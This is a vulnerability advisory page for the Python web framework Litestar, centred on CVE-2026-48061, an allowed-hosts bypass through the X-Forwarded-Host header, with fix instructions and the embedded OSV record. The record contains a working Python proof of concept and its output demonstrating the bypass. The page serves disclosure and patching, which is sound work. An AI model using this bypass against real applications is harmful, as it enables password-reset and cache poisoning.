Vulnerabilities in pkg:pypi/litestar
PACKAGECVE-2026-48061 is a MODERATE (CVSS 5.9) allowedhostsmiddleware bypasses host validation vulnerability (CWE-807: Reliance on Untrusted Inputs in a Security Decision) affecting Litestar libraries in the PyPI ecosystem. The issue involves allowedhostsmiddleware bypasses host validation via client-controlled x-forwarded-host header. Remediation is available by upgrading affected packages to version 2.22.0.
pkg:pypi/litestar
Vulnerability advisories affecting package pkg:pypi/litestar. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-3qmc-cj7q-62hv | CVE-2026-48061 | MODERATE | Litestar: AllowedHostsMiddleware bypasses host validation via client-controlled X-Forwarded-Host header |
| GHSA-542p-wvx7-72m4 | CVE-2026-48060 | HIGH | Litestar has HTML Injection Through its CSRF Token |
| GHSA-vxqx-rh46-q2pg | CVE-2026-25480 | MODERATE | Litestar's FileStore key canonicalization collisions allow response cache mixup/poisoning (ASCII ord + Unicode NFKD) |
| GHSA-93ph-p7v4-hwh4 | CVE-2026-25479 | MODERATE | Litestar's AllowedHosts has a validation bypass due to unescaped regex metacharacters in configured host patterns |
| GHSA-2p2x-hpg8-cqp2 | CVE-2026-25478 | HIGH | Litestar's CORS origin allowlist has a bypass due to unescaped regex metacharacters in allowed origins |
| GHSA-hm36-ffrh-c77c | CVE-2025-59152 | HIGH | Litestar X-Forwarded-For Header Spoofing Vulnerability Enables Rate Limit Evasion |
| GHSA-674p-xv2x-rf3g | - | LOW | Litestar has potential log injection in exception logging |
| GHSA-gjcc-jvgw-wvwj | CVE-2024-52581 | HIGH | Litestar allows unbounded resource consumption (DoS vulnerability) |
| GHSA-4hq2-rpgc-r8r7 | CVE-2024-42370 | HIGH | Withdrawn Advisory: Litestar has an environment Variable injection in `docs-preview.yml` workflow |
| GHSA-83pv-qr33-2vcf | CVE-2024-32982 | HIGH | Litestar and Starlite vulnerable to Path Traversal |
CVE-2026-48061 at a Glance
Security Impact
CVSS: 5.9
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N).
How to Fix CVE-2026-48061
To remediate this vulnerability, upgrade all affected Litestar dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install litestar>=2.22.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show litestar
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-48061, inspect your installed packages using pip:
pip show litestar
Analyze the terminal output to locate any version of Litestar in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.22.0), your application is affected.
Note: The pip show litestar command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-807: Reliance on Untrusted Inputs in a Security Decision, where the product uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism. In Litestar, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-48061 Affected Litestar Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
litestar
|
PyPI |
< 2.22.0
|
2.22.0
|
References
Frequently Asked Questions
What is CVE-2026-48061?
Which Litestar versions are affected?
What version fixes CVE-2026-48061?
Is litestar affected?
What is the CVSS score of CVE-2026-48061?
What CWE is associated with CVE-2026-48061?
How can I check PyPI dependencies for CVE-2026-48061?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-3qmc-cj7q-62hv",
"modified" : "2026-06-10T19:12:10Z",
"published" : "2026-06-10T19:12:10Z",
"aliases" : [ "CVE-2026-48061" ],
"summary" : "Litestar: AllowedHostsMiddleware bypasses host validation via client-controlled X-Forwarded-Host header",
"details" : "### Summary\n\n`AllowedHostsMiddleware` trusts the `X-Forwarded-Host` header as a fallback when the `Host` header is absent. Since `X-Forwarded-Host` is a client-controllable header, an attacker can bypass the allowed hosts validation by omitting the `Host` header and supplying an `X-Forwarded-Host` header set to a whitelisted domain. This enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation.\n\n### Details\n\nIn `AllowedHostsMiddleware.__call__`, the host value used for validation is resolved as follows:\n\nhttps://github.com/litestar-org/litestar/blob/main/litestar/middleware/allowed_hosts.py#L68\n\n```python\nheaders = MutableScopeHeaders(scope=scope)\nif host := headers.get(\"host\", headers.get(\"x-forwarded-host\", \"\")).split(\":\")[0]:\n if self.allowed_hosts_regex.fullmatch(host):\n await self.app(scope, receive, send)\n return\n```\n\nWhen `Host` is absent (e.g., HTTP/1.0 clients, misconfigured proxies, or raw TCP connections), the middleware falls back to `X-Forwarded-Host` without any verification that the request actually passed through a trusted reverse proxy.\n\nAn attacker can send a request with no `Host` header and set `X-Forwarded-Host` to any whitelisted domain, bypassing the entire allowed hosts check. The application then processes the request as if it originated from a trusted host.\n\nThis is particularly dangerous when applications use the resolved host value for:\n- Generating password reset links (`Host` header injection → link points to attacker domain)\n- Cache key generation (cache poisoning)\n- Routing or backend selection decisions\n\n### PoC\n\n```python\n\"\"\"\nPoC: Allowed Hosts Bypass via X-Forwarded-Host in Litestar 3.0.0b0\n\nAffected:\n litestar/middleware/allowed_hosts.py:68\n -> headers.get(\"host\", headers.get(\"x-forwarded-host\", \"\")).split(\":\")[0]\n\"\"\"\n\nimport asyncio\nfrom litestar import Litestar, get\nfrom litestar.config.allowed_hosts import AllowedHostsConfig\nfrom litestar.testing import TestClient\n\n\n@get(\"/\")\nasync def index() -> dict:\n return {\"status\": \"ok\"}\n\n\napp = Litestar(\n route_handlers=[index],\n allowed_hosts=AllowedHostsConfig(allowed_hosts=[\"trusted.example.com\"]),\n)\n\n\n# --- 1. Baseline: invalid host is blocked ---\n\nwith TestClient(app=app) as c:\n resp = c.get(\"/\", headers={\"host\": \"evil.com\"})\n assert resp.status_code == 400\n print(f\"[*] Host: evil.com -> {resp.status_code} (blocked)\")\n\n\n# --- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host ---\n\nasync def test_bypass():\n scope = {\n \"type\": \"http\",\n \"method\": \"GET\",\n \"path\": \"/\",\n \"root_path\": \"\",\n \"scheme\": \"http\",\n \"query_string\": b\"\",\n \"headers\": [\n # No \"host\" header — only x-forwarded-host\n (b\"x-forwarded-host\", b\"trusted.example.com\"),\n ],\n \"server\": (\"testserver\", 80),\n \"app\": app,\n \"litestar_app\": app,\n \"state\": {},\n }\n\n captured = {}\n\n async def receive():\n return {\"type\": \"http.request\", \"body\": b\"\"}\n\n async def send(message):\n if message[\"type\"] == \"http.response.start\":\n captured[\"status\"] = message[\"status\"]\n\n await app(scope, receive, send)\n return captured[\"status\"]\n\nstatus = asyncio.run(test_bypass())\nprint(f\"[*] No Host + X-Forwarded-Host: trusted.example.com -> {status} (bypassed)\")\nassert status == 200, f\"Expected 200, got {status}\"\nprint(f\"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host\")\n```\n\n**Output:**\n```\n[*] Host: evil.com -> 400 (blocked)\n[*] No Host + X-Forwarded-Host: trusted.example.com -> 200 (bypassed)\n[!] AllowedHosts check passed using client-controlled X-Forwarded-Host\n```\n\n### Impact\n\nThis is a host validation bypass vulnerability. Any application using `AllowedHostsConfig` is affected when deployed without a reverse proxy that strips `X-Forwarded-Host`, or when accepting HTTP/1.0 connections.\n\nAn attacker can bypass the allowed hosts restriction and have requests processed as if they originated from a trusted host. This can lead to:\n\n- **Password reset poisoning**: if the application uses the host value to generate reset links, the attacker can redirect them to a malicious domain\n- **Cache poisoning**: cached responses keyed on the host value can be polluted with attacker-controlled content\n- **Routing manipulation**: backend routing decisions based on host value can be influenced",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "litestar"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.22.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/litestar-org/litestar/security/advisories/GHSA-3qmc-cj7q-62hv"
}, {
"type" : "WEB",
"url" : "https://github.com/litestar-org/litestar/commit/6930a20ceb543912cd651b42deae5b9f3637a262"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/litestar-org/litestar"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-348", "CWE-807" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-10T19:12:10Z",
"nvd_published_at" : null
}
}